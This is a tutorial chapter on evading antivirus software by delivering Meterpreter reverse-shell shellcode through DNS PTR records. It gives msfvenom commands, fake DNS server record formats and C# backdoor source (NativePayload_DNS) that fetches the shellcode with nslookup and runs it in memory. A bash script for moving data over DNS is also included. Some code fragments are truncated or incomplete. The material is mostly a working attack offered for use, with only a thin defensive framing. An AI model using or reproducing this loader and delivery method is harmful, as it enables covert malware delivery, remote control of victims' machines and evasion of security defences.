Bypassing Anti Viruses by C#.NET Programming Chapter 3
Bypassing Anti Viruses by C#.NET Programming Chapter 3
NET Programming
Part 2 (Infil/Exfiltration/Transferring Techniques by C#) , Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)
Understanding this technique by C# : Bypassing Anti-viruses with Transferring Backdoor Payloads via DNS traffic
In this chapter I want to explain how can bypass anti-viruses without encryption method for payloads so in this chapter I want to
talk about DATA-Payload “Infiltration/Exfiltration/Transferring” Technique by DNS Traffic. In this technique I want to use DNS
protocol to Transfer my backdoor payloads from attacker computer to Client computer so in this case we need one backdoor
code “without” hard-coded payload or encrypted Payload.
Because DNS traffic in the most networks are available without monitoring or Filtering by IPS/IDS or hardware firewalls and I
know you can Check DNS Traffic by Snort IPS/IDS or something like that but detecting new Payloads via DNS Traffic by
signatures is Difficult but is possible for network administrators .
In this article I want to show you one way to hiding your payloads by DNS Request/Response over Network.
When you want to use Payloads without encryption or Hard coded Payloads in your backdoor file like this case you need to
transfer Payloads over Network from your system to target computer by some Protocol like HTTP and DNS or … , in this case we
want to transfer these Payloads over DNS Traffic also execute these Payloads in Target computer memory so vulnerability point
is Payload location and vulnerability point is Anti-viruses methods for Detecting Malware. Because in this case we don’t have
Payloads on File-systems so we have Payload in memory and Network Traffic.
Note : “Unfortunately” Network traffic monitoring and Memory Monitoring/Scanning by AVs to Detect malware code do not work
very well or do not work always in the most Anti-viruses with or without IPS/IDS features.
Example: Backdoor Payloads in DNS Zone with PTR records and A records.
As you can see in this DNS zone I have two PTR records with meterpreter Payload like two FQDN And I have two PTR Record
for Backdoor Reconnect setting Time also one A record.
If you want to bypassing Payload detection over Network DNS traffic by signature base Firewalls or IPS/IDS tools
One good way for do this is splitting your Payloads into DNS Records with same Type like PTR or other types also you can
encrypt your Payloads then use these Protocols. it depends on you and your target network.
Therefore payloads for these records are equal with payload for this record 1.1.1.0
five DNS request for 1.0.1.x * 5 <=> 5 response with result like (1 response from payload-0 by PTR record 1.1.1.0)
Or
one DNS Request for 1.1.1.0 <=> 1 Response by (payload-0 by PTR record 1.1.1.0)
In client side you can get this information from fake DNS server by more tools or technique but I want to use NSLOOKUP
command prompt by backdoor because I think this is very simple to use.
As you can see in picture 2, I try to test DNS traffic from Fake DNS server to Client by NSLOOKUP tool.
Now I want to talk about how can make Fake DNS server with linux and Meterpreter Payload via DNS Records And finally use
my tool NativePayload_DNS.exe to execute Payload and getting Meterpreter session by DNS traffic.
STEP1: Make Fake DNS Server with Meterpreter Payloads Step by step:
In this step you should make Meterpreter Payload with Msfvenom Tool like picture 4 and copy that Payload line by line to dns.txt
file then Use this file by DNSSpoof tool for making Fake DNS Server with kali Linux.
But before I explain how can do this first I should show you Meterpreter Payload with “Exe” file and Test this Payload with All anti-
viruses then you can see this Payload and this signature will detect by the most Anti-viruses when you used that with EXE
format.
Because I want to show you , I used two same Payloads by two techniques first by “EXE” format file and second by Transfer via
DNS Traffic and you can see EXE format will detect by Anti-viruses but AVs can’t Detect Second technique “Transfer by DNS
traffic” and we know both method had same Payload .
Example1 , First technique EXE format: msfvenom –-platform windows –arch x86_64 –p
windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f exe > /root/Desktop/payload.exe
As you can see in picture 3 my payload with EXE format detected by 11 anti-viruses.
Ok now for second technique you should use this one with C type or Csharp type ( -f : Transform Type)
Example2 , second technique DNS Traffic: msfvenom –-platform windows –arch x86_64 –p
windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f c > /root/Desktop/payload.txt
After make payload.txt file , now you should make dns.txt file and copy your payloads line by line to dns.txt file like format as you
can see in picture 4.
Because we want to use this file by Dnsspoof tool with linux and your format should be something like this:
Ipaddress “{payload}.domain.com”
1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
1.1.1.1 “0xbc0xc80x130xff0x100x08.1.com”
In this case because my C# backdoor code customized for domain name “1.com” we should use this name for domain Or
something like that “2.com”, “3.net”, “t.com” or domain with one char name + ".com"
So in this case ipaddress “1.1.1.x” is our Counter for our Payload lines in our dns.txt file.
Picture 4: step1 for make fake DNS server and Meterpreter payloads
After make dns.txt file you should have this file like picture 5.
Picture5: Dns.txt file for make Fake DNS Server by dnsspoof tool
in step 2 we need to use one backdoor for Downloading Payloads from Fake DNS server by DNS Traffic.
In this case I made this C# source code for do that and in my code I used nslookup.exe tool for sending dns requests finally my
code will dump backdoor Payloads via DNS PTR Response from FakeDNSserver over network.
STEP2:
After compile this code you have one exe file and for execute this exe file you should use this syntax in command prompt:
Command Syntax:
Start_IpAddress : is your first IpAddress for you PTR Records without last section for HostID { 1 . 1 . 1 . } so in this case
you should type three “1.” for this argument.
Counter : is DNS PTR Records number in this case we have 1.1.1.0 …. 1.1.1.33 in our dns.txt file so number is 34
FakeDNSServer_IpAddress : FakeDNS_IP is our DNS server IPaddress or Attacker FakeDNSserver in this case our
kali linux ipaddress is 192-168-1-50
Before execute this backdoor remember you should made listener for metasploit
As you can see in picture 7 this backdoor tried to send DNS Request for ipaddress 1.1.1.x also you can see each Response.
In the next picture you can see our network traffic between Client and Attacker FakeDNS_Server
Finally after 34 countdown you will have Meterpreter Session in Attacker Side like picture 9 and unfortunately as you can see my
And you can see my anti-virus again bypassed ;-) also this is my Result for scanning my Source Code by All anti-viruses now you
can compare “Picture 3” with “Picture 10” Both Backdoors worked by same Payloads , (warning : Don't use VirusTotal or this site
for testing your Codes Never ever)
Finally you can see my Meterpreter Session with tcpview tool and putty tool in next pictures
Picture 12: Tcpview and TCP connection established when Backdoor Payload Downloaded from DNSServer.
At a glance : you can’t trust to Anti-viruses for defense always so with this technique or other ways for Transfer Payload
by other protocols in network , your network and your Client/Server is Vulnerable too so please check this technique in
your Anti-viruses and share your Experience here by comments .
In this technique we used DNS traffic by PTR records so for doing this we need some tools or Code for Sending DNS traffic so in
this case our Code uses NSLOOKUP tool for DNS requests and Response so in our C# Code we need to use this Command by
this Code :
public static string __nslookup(string DNS_PTR_A, string DnsServer)
{
/// Make DNS traffic for getting Meterpreter Payloads by nslookup
/// if you want to change your Domain Name from "1.com" to "22.com"
/// then you should change these Settings and Values too ;)
Code 1:
as you can see in this “Code 1” our DNS_PTR_A variable is our IPAddress in this case “1.1.1.” so
also in Picture “Code 1” you can see “Section 1” code , by this “Section 1” you will have NSLOOKUP with PTR output for each
IPAddress like this , in this example this is Nslookup output “PTR Record” for IPAddress “1.1.1.1” also you can see this output in
“Picture 2” by Cmd.exe too.
"0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com"
Note: this Section 1 optimized for Domain Names by one character like “1.com” or ”a.com” or “b.net” or “c.org” so if you want to
change your Domain Name from one Character to two or three characters then you should change these codes too.
Code 2:
in Picture “Code 2” you can see how our DNS_PTR_A variable will work in lines 105,106,107 so by this code
for (int i = 0; i < _IPaddress_Counter; i++)
{
_DATA[i] = __nslookup(_IPaddress_Begin + i, _DnsServer);
DATA += _DATA[i].ToString();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("DNS Request Send: {0}", (_IPaddress_Begin + i).ToString());
Console.ForegroundColor = ConsoleColor.DarkYellow;
Console.WriteLine("DNS Response type PTR Record: {0}", _Records);
Console.ForegroundColor = ConsoleColor.DarkGray;
}
Important point in this code is here _IPaddress_Begin + i by this code you will have IPAddress 1.1.1. + I because our _Ipaddress_Begin =
1.1.1. and our I variable was started with 0 up to 33 , why 33 because our _IPaddress_Counter = 33 , it means we have 34 IPAddress .
Now by this code you can make one Variable with all nslookup output or our Meterpreter Payload by PTR Records .
DATA += _DATA[i].ToString();
DATA = “0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com” +
"0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com" +
"0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com" +
"0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com" + ….. +
"0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" + "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" +
"0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"
or
DATA =
“0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com0
x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com…
0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com"0xff0xe
70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"
Code 3:
in this step of code we should make Payload by this Variable “DATA” so for doing this first of all we can use “split()” for chunking
Payloads .
string[] Payload__Without_delimiterChar = DATA.Split('x');
object tmp = new object();
byte[] __Bytes = new byte[DATA.Length / 4];
for (int i = 1; i < __Bytes.Length; i++)
{
tmp = Payload__Without_delimiterChar[i].ToString().Substring(0, 2);
byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
__Bytes[i] = current;
}
“0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com0x510x560”
string[] Payload__Without_delimiterChar = DATA.Split('x');
also you can see this technique by “split()” in Picture “Code 3-1”
Code 3-1:
Example C#_Code1 :
string[] Payload__Without_delimiterChar = DATA.Split('x');
object tmp = new object();
byte[] __Bytes = new byte[DATA.Length / 4];
for (int i = 1; i < __Bytes.Length; i++)
{
tmp = Payload__Without_delimiterChar[i].ToString().Substring(0, 2);
byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
__Bytes[i] = current;
}
in next picture “Code 3-2” I will explain why I used “DATA.Lentgth / 4” , this is important because we want make one variable for
our Payloads with Bytes[] Type so we should know what is our Length for this Meterpreter Payload so for figure out this just need
to see Picture “Code 3-2” in this Picture you can see we have 4 strings between each “x” :
“0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com0x510x560”
also you can use this Example C#_Code2 if you got ERROR with this Example C#_Code1.
Example C#_Code2 :
string[] Payload__Without_delimiterChar = DATA.Split('x');
object tmp = new object();
byte[] __Bytes = new byte[Payload__Without_delimiterChar .Length];
for (int i = 1; i < __Bytes.Length; i++)
{
tmp = Payload__Without_delimiterChar[i].ToString().Substring(0, 2);
byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
__Bytes[i] = current;
}
ok both of these codes will work very well but we have one problem by this Code so I will explain where is Problem , the problem
is first string in this Payload .
“0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com0x510x560”
so this Byte will make Problem because this is my bug ;D in my code and this is not section of Meterpreter Payload so how can
fix this ?
as you can see in Picture Code 3-3 this trick worked very well and you have Correct Payload in your Byte Array variable and in
picture “Code 3-2” you can see “Section A” for creating Thread by this Byte Array Variable in this case “__Bytes” so about how
this “Section A” worked we Talked in previous chapters especially in “Chapter 1” .
Code 3-2:
Code 3-3
Using this method on Linux systems only : NativePayload_DNS.sh Script and Linux systems
now in this Part of this chapter I want to talk about this Method on Linux systems only so in this case I made 2 scripts for this
method first for Make DNS PTR Records via Host.txt file , second is NativePayload_DNS.sh Script for Dump/Download DATA via
DNS PTR records.
Note : in this case I used these Scripts to Dump/Download “Text” as DATA via DNS PTR Records .
As you can see in the next picture I used these two Scripts on two Linux systems .
Step 1 (system A) : first of all you need to Create one Host file as DNS Records to use by “Dnsspoof” tool so for make it you can
use this Script “DnsHostCreator.sh“
in this case in file “1.txt” I have this text “Transferring DATA via DNS PTR Records ;).” and with “Example 1” I will have something
like these lines in “host.txt”
File host.txt :
192.168.1.6 temp.microsoft.com
# injecting this text via this host.domain: Transferri ==> 5472616e736665727269.microsoft.com
192.168.1.0 5472616e736665727269.microsoft.com
# injecting this text via this host.domain: ng DATA vi ==> 6e672044415441207669.microsoft.com
192.168.1.1 6e672044415441207669.microsoft.com
# injecting this text via this host.domain: a DNS PTR ==> 6120444e532050545220.microsoft.com
192.168.1.2 6120444e532050545220.microsoft.com
# injecting this text via this host.domain: Records ;) ==> 5265636f726473203b29.microsoft.com
192.168.1.3 5265636f726473203b29.microsoft.com
# injecting this text via this host.domain: . ==> 2e.microsoft.com
192.168.1.4 2e.microsoft.com
as you can see these Text Injected to “Hosts” for Domain “microsoft.com” it means :
Step 2 (system B) : now in this Step you can Download these Injected Text to Host-Name for domain “microsoft.com from
“system A” to “system B” with this syntax :
echo "Injecting DATA to DNS Traffic via DNS PTR Records and Host.txt"
echo ""
cu=0
((cu++))
done
((cu++))
x=0
Exfil=$ops
echo "# injecting this text via this host.domain: " $t " ==> " $Exfil.$2
((x++))
done
tput setaf 2;
echo ""
counter=0
timedelay=0
alldumps=``;
while(true)
do
echo "--------------------------"
tput setaf 2;
final= echo "[!] "[$counter]" Domain: " "`nslookup $first_ip $2 | grep arpa | awk {'print $4'}`"
tput setaf 3;
finals= echo "[!] "[$counter]" Text: " "`nslookup $first_ip $2 | grep arpa | awk {'print $4'} | xxd -r -p`"
((counter++))
sleep $3
if(($counter == $myloops))
then
break
fi
done
NativePayload_DNS.exe , C# Code :
namespace NativePayload_DNS
{
class Program
{
static void Main(string[] args)
{
string _DnsServer = "192.168.1.50";
/// 1.1.1.{x} ==> x = 0 ... 33
string _IPaddress_Begin = "1.1.1.";
int _IPaddress_Counter = 34;
///
/// step 1:
/// msfvenom C type payload in your kali linux
/// msfvenom -platform windows arch x86_64 p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 f c > /root/Desktop/payload.txt
/// copy payloads from payload.txt file to dns.txt like this format:
///
///
try
{
/// IP Address for Resolve ==> IPAddress to FQDN
_IPaddress_Begin = args[0].ToString();
/// Number for Counter
/// for example 1.1.1. by 34 ==> 1.1.1.0 , 1.1.1.1 , .... , 1.1.1.32 , 1.1.1.33
_IPaddress_Counter = Convert.ToInt32(args[1]);
/// Attacker Fake DNS Server
_DnsServer = args[2].ToString();
}
catch (Exception err)
{
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("");
Console.WriteLine("Command Syntax : NativePayload_DNS.exe \"StartIpaddress\" counter_Number_of_Records \"FakeDNS_Server\" ");
Console.WriteLine("Command Syntax : NativePayload_DNS.exe \"1.1.1.\" 34 \"192.168.1.50\" ");
Console.WriteLine("for more information please visit github account for this tool");
Console.WriteLine("");
Console.WriteLine("");
Console.WriteLine("[1] error: {0}", err.Message);
Console.ForegroundColor = ConsoleColor.DarkGray;
}
try
{
string[] _DATA = new string[_IPaddress_Counter];
string DATA = "";
Console.ForegroundColor = ConsoleColor.DarkGreen;
Console.WriteLine("NativePayload_DNS by Damon Mohammadbagher");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Starting Download Backdoor Payloads by DNS Traffic from FakeDNS_Server");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("DNS Server: {0} ", _DnsServer);
for (int i = 0; i < _IPaddress_Counter; i++)
{
_DATA[i] = __nslookup(_IPaddress_Begin + i, _DnsServer);
DATA += _DATA[i].ToString();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("DNS Request Send: {0}", (_IPaddress_Begin + i).ToString());
Console.ForegroundColor = ConsoleColor.DarkYellow;
/// if you want to change your Domain Name from "1.com" to "22.com"
/// then you should change these Settings and Values too ;)
string computerList = nslookup.StandardOutput.ReadToEnd();
string[] lines = computerList.Split('\r', 'n');
string last_line = lines[lines.Length - 4];
string temp_1 = last_line.Remove(0, 11);
_Records = "\"" + temp_1;
int i = temp_1.LastIndexOf('.');
string temp_2 = temp_1.Remove(i, (temp_1.Length - i));
int b = temp_2.LastIndexOf('.');
string final = temp_2.Remove(b, temp_2.Length - b);
return final;
}